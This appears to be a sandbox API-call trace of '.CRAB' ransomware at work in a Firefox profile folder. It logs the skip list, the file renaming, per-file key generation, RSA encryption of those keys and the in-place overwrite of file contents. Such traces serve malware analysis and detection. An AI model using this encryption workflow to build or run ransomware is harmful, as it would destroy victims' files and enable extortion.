	[0119.746] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-addons.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-addons.json.crab")) returned 1
	[0119.747] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0119.747] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.CRAB"
	[0119.747] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.CRAB.CRAB"
	[0119.747] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e9e0) returned 1
	[0119.748] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.748] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.749] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.749] CryptGenRandom (in: hProv=0xd6e9e0, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0119.749] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0119.749] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.749] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6ed98) returned 1
	[0119.749] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.750] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.750] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.750] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0119.750] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0119.750] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.750] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0119.751] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0119.751] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e9e0) returned 1
	[0119.751] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded6e8) returned 1
	[0119.751] CryptGetKeyParam (in: hKey=0xded6e8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.752] CryptEncrypt (in: hKey=0xded6e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0119.752] GetLastError () returned 0x0
	[0119.752] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0119.752] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0119.752] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded868) returned 1
	[0119.753] CryptGetKeyParam (in: hKey=0xded868, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.753] CryptEncrypt (in: hKey=0xded868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0119.754] GetLastError () returned 0x0
	[0119.754] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0119.754] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-addons.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-addons.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0119.754] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0119.755] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0119.755] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x70608, lpOverlapped=0x0) returned 1
	[0119.779] VirtualAlloc (lpAddress=0x0, dwSize=0x70610, flAllocationType=0x3000, flProtect=0x4) returned 0x3470000
	[0119.786] VirtualAlloc (lpAddress=0x0, dwSize=0x70610, flAllocationType=0x3000, flProtect=0x4) returned 0x34f0000
	[0119.797] VirtualFree (lpAddress=0x3470000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.799] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xfff8f9f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.799] WriteFile (in: hFile=0x3e0, lpBuffer=0x34f0000*, nNumberOfBytesToWrite=0x70610, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x34f0000*, lpNumberOfBytesWritten=0x3149f14*=0x70610, lpOverlapped=0x0) returned 1
	[0119.800] VirtualFree (lpAddress=0x34f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.802] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.806] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0119.806] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0119.806] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0119.806] CloseHandle (hObject=0x3e0) returned 1
	[0119.814] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.814] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.815] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.815] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.815] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.815] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.816] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0119.816] lstrcmpW (lpString1="blocklist-gfx.json", lpString2=".") returned 1
	[0119.816] lstrcmpW (lpString1="blocklist-gfx.json", lpString2="..") returned 1
	[0119.816] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist-gfx.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json"
	[0119.816] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.816] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned 98
	[0119.816] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned 98
	[0119.816] lstrlenW (lpString=".json") returned 5
	[0119.816] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.817] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0119.817] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.817] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned 98
	[0119.817] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json") returned 98
	[0119.817] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="desktop.ini") returned -1
	[0119.817] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="autorun.inf") returned 1
	[0119.817] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="ntuser.dat") returned -1
	[0119.817] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="iconcache.db") returned -1
	[0119.817] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="bootsect.bak") returned -1
	[0119.817] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="boot.ini") returned -1
	[0119.817] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="ntuser.dat.log") returned -1
	[0119.817] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="thumbs.db") returned -1
	[0119.817] lstrcmpiW (lpString1="blocklist-gfx.json", lpString2="CRAB-DECRYPT.txt") returned -1
	[0119.817] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.818] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.CRAB") returned 103
	[0119.818] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-gfx.json")) returned 0x20
	[0119.818] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json", dwFileAttributes=0x20) returned 1
	[0119.819] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-gfx.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-gfx.json.crab")) returned 1
	[0119.820] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0119.820] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.CRAB"
	[0119.820] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.CRAB.CRAB"
	[0119.820] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0119.821] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.821] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.822] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.822] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x3149ecc | out: pbBuffer=0x3149ecc) returned 1
	[0119.822] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.822] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.822] CryptAcquireContextW (in: phProv=0x3149d90, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d90*=0xd6e408) returned 1
	[0119.823] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2740000
	[0119.823] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0119.823] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0119.823] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x3149ea8 | out: pbBuffer=0x3149ea8) returned 1
	[0119.823] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0119.823] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.824] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0119.824] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0119.824] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6eb78) returned 1
	[0119.825] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded728) returned 1
	[0119.825] CryptGetKeyParam (in: hKey=0xded728, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.825] CryptEncrypt (in: hKey=0xded728, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2740000*, pdwDataLen=0x3149edc*=0xc8, dwBufLen=0x800 | out: pbData=0x2740000*, pdwDataLen=0x3149edc*=0x100) returned 1
	[0119.825] GetLastError () returned 0x0
	[0119.825] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0119.825] CryptAcquireContextW (in: phProv=0x3149d80, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3149d80*=0xd6e6b0) returned 1
	[0119.826] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x3149d7c | out: phKey=0x3149d7c*=0xded8a8) returned 1
	[0119.826] CryptGetKeyParam (in: hKey=0xded8a8, dwParam=0x8, pbData=0x3149d6c, pdwDataLen=0x3149d74, dwFlags=0x0 | out: pbData=0x3149d6c*=0x800, pdwDataLen=0x3149d74*=0x4) returned 1
	[0119.826] CryptEncrypt (in: hKey=0xded8a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2750000*, pdwDataLen=0x3149ee0*=0xc8, dwBufLen=0x800 | out: pbData=0x2750000*, pdwDataLen=0x3149ee0*=0x100) returned 1
	[0119.826] GetLastError () returned 0x0
	[0119.826] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0119.826] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-gfx.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-gfx.json.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3e0
	[0119.827] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2fc0000
	[0119.827] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0119.828] ReadFile (in: hFile=0x3e0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x3149f24, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x3149f24*=0x6d31, lpOverlapped=0x0) returned 1
	[0119.840] VirtualAlloc (lpAddress=0x0, dwSize=0x6d40, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0119.841] VirtualAlloc (lpAddress=0x0, dwSize=0x6d40, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000
	[0119.843] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.843] SetFilePointerEx (in: hFile=0x3e0, liDistanceToMove=0xffff92cf, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.843] WriteFile (in: hFile=0x3e0, lpBuffer=0x3020000*, nNumberOfBytesToWrite=0x6d40, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x3020000*, lpNumberOfBytesWritten=0x3149f14*=0x6d40, lpOverlapped=0x0) returned 1
	[0119.844] VirtualFree (lpAddress=0x3020000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.844] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.847] WriteFile (in: hFile=0x3e0, lpBuffer=0x2740000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2740000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0119.847] WriteFile (in: hFile=0x3e0, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x3149f14*=0x100, lpOverlapped=0x0) returned 1
	[0119.847] WriteFile (in: hFile=0x3e0, lpBuffer=0x2fc0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2fc0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0119.847] CloseHandle (hObject=0x3e0) returned 1
	[0119.849] VirtualFree (lpAddress=0x2fc0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.849] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.850] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.850] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.850] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.850] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.851] FindNextFileW (in: hFindFile=0xded3e8, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 1
	[0119.851] lstrcmpW (lpString1="blocklist-plugins.json", lpString2=".") returned 1
	[0119.851] lstrcmpW (lpString1="blocklist-plugins.json", lpString2="..") returned 1
	[0119.851] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\", lpString2="blocklist-plugins.json" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json"
	[0119.851] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0119.851] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned 102
	[0119.851] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned 102
	[0119.851] lstrlenW (lpString=".json") returned 5
	[0119.851] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.851] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".json ") returned 6
	[0119.852] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0119.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned 102
	[0119.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json") returned 102
	[0119.852] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="desktop.ini") returned -1
	[0119.852] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="autorun.inf") returned 1
	[0119.852] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="ntuser.dat") returned -1
	[0119.852] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="iconcache.db") returned -1
	[0119.852] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="bootsect.bak") returned -1
	[0119.852] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="boot.ini") returned -1
	[0119.852] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="ntuser.dat.log") returned -1
	[0119.852] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="thumbs.db") returned -1
	[0119.852] lstrcmpiW (lpString1="blocklist-plugins.json", lpString2="CRAB-DECRYPT.txt") returned -1
	[0119.852] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0119.853] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.CRAB") returned 107
	[0119.853] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-plugins.json")) returned 0x20
	[0119.854] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json", dwFileAttributes=0x20) returned 1
	[0119.854] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-plugins.json"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\blocklist-plugins.json.crab")) returned 1
	[0119.855] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0119.856] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.CRAB"
	[0119.856] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\blocklist-plugins.json.CRAB.CRAB"
